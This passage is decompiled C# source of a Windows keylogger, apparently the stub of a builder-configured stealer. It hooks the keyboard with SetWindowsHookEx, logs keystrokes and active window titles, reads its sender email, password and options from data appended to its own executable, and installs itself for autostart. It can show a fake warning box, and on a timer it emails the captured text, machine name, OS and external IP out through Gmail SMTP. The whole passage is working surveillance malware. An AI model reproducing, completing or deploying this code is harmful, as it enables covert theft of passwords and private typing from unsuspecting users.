            this.TextBox1.Text += "i";
            break;
          case Keys.J:
            this.TextBox1.Text += "j";
            break;
          case Keys.K:
            this.TextBox1.Text += "k";
            break;
          case Keys.L:
            this.TextBox1.Text += "l";
            break;
          case Keys.M:
            this.TextBox1.Text += "m";
            break;
          case Keys.N:
            this.TextBox1.Text += "n";
            break;
          case Keys.O:
            this.TextBox1.Text += "o";
            break;
          case Keys.P:
            this.TextBox1.Text += "p";
            break;
          case Keys.Q:
            this.TextBox1.Text += "q";
            break;
          case Keys.R:
            this.TextBox1.Text += "r";
            break;
          case Keys.S:
            this.TextBox1.Text += "s";
            break;
          case Keys.T:
            this.TextBox1.Text += "t";
            break;
          case Keys.U:
            this.TextBox1.Text += "u";
            break;
          case Keys.V:
            this.TextBox1.Text += "v";
            break;
          case Keys.W:
            this.TextBox1.Text += "w";
            break;
          case Keys.X:
            this.TextBox1.Text += "x";
            break;
          case Keys.Y:
            this.TextBox1.Text += "y";
            break;
          case Keys.Z:
            this.TextBox1.Text += "z";
            break;
          case Keys.Multiply:
            this.TextBox1.Text += "*";
            break;
          case Keys.Add:
            this.TextBox1.Text += "+";
            break;
          case Keys.Subtract:
            this.TextBox1.Text += "-";
            break;
          case Keys.Decimal:
            this.TextBox1.Text += ".";
            break;
          case Keys.Divide:
            this.TextBox1.Text += "/";
            break;
          case Keys.F1:
            this.TextBox1.Text += "[F1]";
            break;
          case Keys.F2:
            this.TextBox1.Text += "[F2]";
            break;
          case Keys.F3:
            this.TextBox1.Text += "[F3]";
            break;
          case Keys.F4:
            this.TextBox1.Text += "[F4]";
            break;
          case Keys.F5:
            this.TextBox1.Text += "[F5]";
            break;
          case Keys.F6:
            this.TextBox1.Text += "[F6]";
            break;
          case Keys.F7:
            this.TextBox1.Text += "[F7]";
            break;
          case Keys.F8:
            this.TextBox1.Text += "[F8]";
            break;
          case Keys.F9:
            this.TextBox1.Text += "[F9]";
            break;
          case Keys.F10:
            this.TextBox1.Text += "[F10]";
            break;
          case Keys.F11:
            this.TextBox1.Text += "[F11]";
            break;
          case Keys.F12:
            this.TextBox1.Text += "[F12]";
            break;
          case Keys.OemSemicolon:
            this.TextBox1.Text += ";";
            break;
          case Keys.Oemcomma:
            this.TextBox1.Text += ",";
            break;
          case Keys.OemMinus:
            this.TextBox1.Text += "-";
            break;
          case Keys.OemPeriod:
            this.TextBox1.Text += ".";
            break;
          case Keys.OemQuestion:
            this.TextBox1.Text += "/";
            break;
          case Keys.Oemtilde:
            this.TextBox1.Text += "`";
            break;
          case Keys.OemOpenBrackets:
            this.TextBox1.Text += "[";
            break;
          case Keys.OemPipe:
            this.TextBox1.Text += "\\";
            break;
          case Keys.OemCloseBrackets:
            this.TextBox1.Text += "]";
            break;
          case Keys.OemQuotes:
            this.TextBox1.Text += "'";
            break;
        }
      }
      else
      {
        if (!(MyProject.Computer.Keyboard.ShiftKeyDown & !MyProject.Computer.Keyboard.CapsLock))
          return;
        switch (Key)
        {
          case Keys.Back:
            this.TextBox1.Text += "[DEL]";
            break;
          case Keys.Tab:
            this.TextBox1.Text += "[TAB]";
            break;
          case Keys.Return:
            this.TextBox1.Text += "\r\n";
            break;
          case Keys.Escape:
            this.TextBox1.Text += "[ESC]";
            break;
          case Keys.Space:
            this.TextBox1.Text += " ";
            break;
          case Keys.End:
            this.TextBox1.Text += "[END]";
            break;
          case Keys.Left:
            this.TextBox1.Text += "?";
            break;
          case Keys.Up:
            this.TextBox1.Text += "?";
            break;
          case Keys.Right:
            this.TextBox1.Text += "?";
            break;
          case Keys.Down:
            this.TextBox1.Text += "?";
            break;
          case Keys.Delete:
            this.TextBox1.Text += "[DEL]";
            break;
          case Keys.D0:
            this.TextBox1.Text += ")";
            break;
          case Keys.D1:
            this.TextBox1.Text += "!";
            break;
          case Keys.D2:
            this.TextBox1.Text += "@";
            break;
          case Keys.D3:
            this.TextBox1.Text += "#";
            break;
          case Keys.D4:
            this.TextBox1.Text += "$";
            break;
          case Keys.D5:
            this.TextBox1.Text += "%";
            break;
          case Keys.D6:
            this.TextBox1.Text += "^";
            break;
          case Keys.D7:
            this.TextBox1.Text += "&";
            break;
          case Keys.D8:
            this.TextBox1.Text += "*";
            break;
          case Keys.D9:
            this.TextBox1.Text += "(";
            break;
          case Keys.A:
            this.TextBox1.Text += "A";
            break;
          case Keys.B:
            this.TextBox1.Text += "B";
            break;
          case Keys.C:
            this.TextBox1.Text += "C";
            break;
          case Keys.D:
            this.TextBox1.Text += "D";
            break;
          case Keys.E:
            this.TextBox1.Text += "E";
            break;
          case Keys.F:
            this.TextBox1.Text += "F";
            break;
          case Keys.G:
            this.TextBox1.Text += "G";
            break;
          case Keys.H:
            this.TextBox1.Text += "H";
            break;
          case Keys.I:
            this.TextBox1.Text += "I";
            break;
          case Keys.J:
            this.TextBox1.Text += "J";
            break;
          case Keys.K:
            this.TextBox1.Text += "K";
            break;
          case Keys.L:
            this.TextBox1.Text += "L";
            break;
          case Keys.M:
            this.TextBox1.Text += "M";
            break;
          case Keys.N:
            this.TextBox1.Text += "N";
            break;
          case Keys.O:
            this.TextBox1.Text += "O";
            break;
          case Keys.P:
            this.TextBox1.Text += "P";
            break;
          case Keys.Q:
            this.TextBox1.Text += "Q";
            break;
          case Keys.R:
            this.TextBox1.Text += "R";
            break;
          case Keys.S:
            this.TextBox1.Text += "S";
            break;
          case Keys.T:
            this.TextBox1.Text += "T";
            break;
          case Keys.U:
            this.TextBox1.Text += "U";
            break;
          case Keys.V:
            this.TextBox1.Text += "V";
            break;
          case Keys.W:
            this.TextBox1.Text += "W";
            break;
          case Keys.X:
            this.TextBox1.Text += "X";
            break;
          case Keys.Y:
            this.TextBox1.Text += "Y";
            break;
          case Keys.Z:
            this.TextBox1.Text += "Z";
            break;
          case Keys.Multiply:
            this.TextBox1.Text += "*";
            break;
          case Keys.Add:
            this.TextBox1.Text += "+";
            break;
          case Keys.Subtract:
            this.TextBox1.Text += "-";
            break;
          case Keys.Decimal:
            this.TextBox1.Text += ".";
            break;
          case Keys.Divide:
            this.TextBox1.Text += "/";
            break;
          case Keys.F1:
            this.TextBox1.Text += "[F1]";
            break;
          case Keys.F2:
            this.TextBox1.Text += "[F2]";
            break;
          case Keys.F3:
            this.TextBox1.Text += "[F3]";
            break;
          case Keys.F4:
            this.TextBox1.Text += "[F4]";
            break;
          case Keys.F5:
            this.TextBox1.Text += "[F5]";
            break;
          case Keys.F6:
            this.TextBox1.Text += "[F6]";
            break;
          case Keys.F7:
            this.TextBox1.Text += "[F7]";
            break;
          case Keys.F8:
            this.TextBox1.Text += "[F8]";
            break;
          case Keys.F9:
            this.TextBox1.Text += "[F9]";
            break;
          case Keys.F10:
            this.TextBox1.Text += "[F10]";
            break;
          case Keys.F11:
            this.TextBox1.Text += "[F11]";
            break;
          case Keys.F12:
            this.TextBox1.Text += "[F12]";
            break;
          case Keys.OemSemicolon:
            this.TextBox1.Text += ":";
            break;
          case Keys.Oemcomma:
            this.TextBox1.Text += "<";
            break;
          case Keys.OemMinus:
            this.TextBox1.Text += "_";
            break;
          case Keys.OemPeriod:
            this.TextBox1.Text += ">";
            break;
          case Keys.OemQuestion:
            this.TextBox1.Text += "?";
            break;
          case Keys.Oemtilde:
            this.TextBox1.Text += "~";
            break;
          case Keys.OemOpenBrackets:
            this.TextBox1.Text += "{";
            break;
          case Keys.OemPipe:
            this.TextBox1.Text += "|";
            break;
          case Keys.OemCloseBrackets:
            this.TextBox1.Text += "}";
            break;
          case Keys.OemQuotes:
            this.TextBox1.Text += this.Label1.Text;
            break;
        }
      }
    }

    public string GetEncryptedData(string Data)
    {
      Convert.ToBase64String(new SHA1Managed().ComputeHash(Encoding.ASCII.GetBytes(Data)));
      return Convert.ToBase64String(Encoding.ASCII.GetBytes(Data));
    }

    public string GetDecryptedData(string Data) => Encoding.ASCII.GetString(Convert.FromBase64String(Data));

    private object GetExternalIP()
    {
      WebClient webClient = new WebClient();
      string externalIp = Encoding.ASCII.GetString(webClient.DownloadData("http://whatismyip.com/automation/n09230945.asp"));
      webClient.Dispose();
      return (object) externalIp;
    }

    private void Form1_Load(object sender, EventArgs e)
    {
      this.txtIpAddress.Text = Conversions.ToString(this.GetExternalIP());
      FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared);
      this.text1 = Strings.Space(checked ((int) FileSystem.LOF(1)));
      this.text2 = Strings.Space(checked ((int) FileSystem.LOF(1)));
      this.text3 = Strings.Space(checked ((int) FileSystem.LOF(1)));
      this.text4 = Strings.Space(checked ((int) FileSystem.LOF(1)));
      this.text5 = Strings.Space(checked ((int) FileSystem.LOF(1)));
      this.text6 = Strings.Space(checked ((int) FileSystem.LOF(1)));
      FileSystem.FileGet(1, ref this.text1);
      FileSystem.FileGet(1, ref this.text2);
      FileSystem.FileGet(1, ref this.text3);
      FileSystem.FileGet(1, ref this.text4);
      FileSystem.FileGet(1, ref this.text5);
      FileSystem.FileGet(1, ref this.text6);
      FileSystem.FileClose(1);
      this.options = Strings.Split(this.text1, "@gogo@");
      this.txtEmail.Text = this.options[1];
      this.txtPass.Text = this.options[2];
      this.txtId.Text = this.options[3];
      this.txtFileName.Text = this.options[4];
      this.txtTime.Text = this.options[5];
      this.txtFake.Text = this.options[6];
      this.Timer1.Start();
      this.Timer2.Start();
      this.Timer2.Interval = Conversions.ToInteger(this.txtTime.Text);
      Autostart.Drop(this.txtFileName.Text + ".exe");
      if (Operators.CompareString(this.txtFake.Text, (string) null, false) == 0)
        this.txtFake.Text = Conversions.ToString(false);
      else if (Interaction.MsgBox((object) this.txtFake.Text, MsgBoxStyle.Exclamation, (object) "Warning!") == 0)
        ;
    }

    private void Timer2_Tick(object sender, EventArgs e) => this.BackgroundWorker1.RunWorkerAsync();

    private void Timer1_Tick(object sender, EventArgs e)
    {
      if (Operators.CompareString(this.strin, this.GetActiveWindowTitle(), false) == 0)
        return;
      this.TextBox1.Text = this.TextBox1.Text + "\r\n[------" + this.GetActiveWindowTitle() + "------]\r\n";
      this.strin = this.GetActiveWindowTitle();
    }

    private void BackgroundWorker1_DoWork(object sender, DoWorkEventArgs e)
    {
      MailMessage message = new MailMessage();
      string text1 = this.txtEmail.Text;
      string text2 = this.txtPass.Text;
      string text3 = this.txtId.Text;
      try
      {
        message.From = new MailAddress(this.GetDecryptedData(text1));
        message.To.Add(this.GetDecryptedData(text3));
        message.Subject = Environment.MachineName;
        message.Body = "Computer Name:" + MyProject.Computer.Name + "\r\nOperation System:" + MyProject.Computer.Info.OSFullName + "\r\nIp Address:" + this.txtIpAddress.Text + "\r\n" + this.TextBox1.Text;
        new SmtpClient("smtp.gmail.com")
        {
          Port = 587,
          Credentials = ((ICredentialsByHost) new NetworkCredential(this.GetDecryptedData(text1), this.GetDecryptedData(text2))),
          EnableSsl = true
        }.Send(message);
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        this.Timer2.Stop();
        ProjectData.ClearProjectError();
      }
      this.TextBox1.Clear();
    }

    public void report()
    {
    }

    public class KeyboardHook
    {
      private static List<WeakReference> __ENCList = new List<WeakReference>();
      private const int HC_ACTION = 0;
      private const int WH_KEYBOARD_LL = 13;
      private const int WM_KEYDOWN = 256;
      private const int WM_KEYUP = 257;
      private const int WM_SYSKEYDOWN = 260;
      private const int WM_SYSKEYUP = 261;
      private static int KeyHook;
      private static Yahoo.KeyboardHook.KeyboardProcDelegate KeyHookDelegate;

      [DebuggerNonUserCode]
      static KeyboardHook()
      {
      }

      [DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)]
      private static extern int SetWindowsHookEx(
        int idHook,
        Yahoo.KeyboardHook.KeyboardProcDelegate lpfn,
        int hmod,
        int dwThreadId);

      [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)]
      private static extern int CallNextHookEx(
        int hHook,
        int nCode,
        int wParam,
        Yahoo.KeyboardHook.KBDLLHOOKSTRUCT lParam);

      [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)]
      private static extern int UnhookWindowsHookEx(int hHook);

      public static event Yahoo.KeyboardHook.KeyDownEventHandler KeyDown;

      public static event Yahoo.KeyboardHook.KeyUpEventHandler KeyUp;

      public KeyboardHook()
      {
        lock (Yahoo.KeyboardHook.__ENCList)
          Yahoo.KeyboardHook.__ENCList.Add(new WeakReference((object) this));
        Yahoo.KeyboardHook.KeyHookDelegate = new Yahoo.KeyboardHook.KeyboardProcDelegate(Yahoo.KeyboardHook.KeyboardProc);
        Yahoo.KeyboardHook.KeyHook = Yahoo.KeyboardHook.SetWindowsHookEx(13, Yahoo.KeyboardHook.KeyHookDelegate, Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]).ToInt32(), 0);
      }

      private static int KeyboardProc(
        int nCode,
        int wParam,
        ref Yahoo.KeyboardHook.KBDLLHOOKSTRUCT lParam)
      {
        if (nCode == 0)
        {
          switch (wParam)
          {
            case 256:
            case 260:
              Yahoo.KeyboardHook.KeyDownEventHandler keyDownEvent = Yahoo.KeyboardHook.KeyDownEvent;
              if (keyDownEvent != null)
              {
                keyDownEvent((Keys) lParam.vkCode);
                break;
              }
              break;
            case 257:
            case 261:
              Yahoo.KeyboardHook.KeyUpEventHandler keyUpEvent = Yahoo.KeyboardHook.KeyUpEvent;
              if (keyUpEvent != null)
              {
                keyUpEvent((Keys) lParam.vkCode);
                break;
              }
              break;
          }
        }
        return Yahoo.KeyboardHook.CallNextHookEx(Yahoo.KeyboardHook.KeyHook, nCode, wParam, lParam);
      }

      ~KeyboardHook()
      {
        Yahoo.KeyboardHook.UnhookWindowsHookEx(Yahoo.KeyboardHook.KeyHook);
        // ISSUE: explicit finalizer call
        base.Finalize();
      }

      private struct KBDLLHOOKSTRUCT
      {
        public int vkCode;
        public int scancode;
        public int flags;
        public int time;
        public int dwExtraInfo;
      }

      private delegate int KeyboardProcDelegate(
        int nCode,
        int wParam,
        ref Yahoo.KeyboardHook.KBDLLHOOKSTRUCT lParam);

      public delegate void KeyDownEventHandler(Keys Key);

      public delegate void KeyUpEventHandler(Keys Key);
    }
  }
}
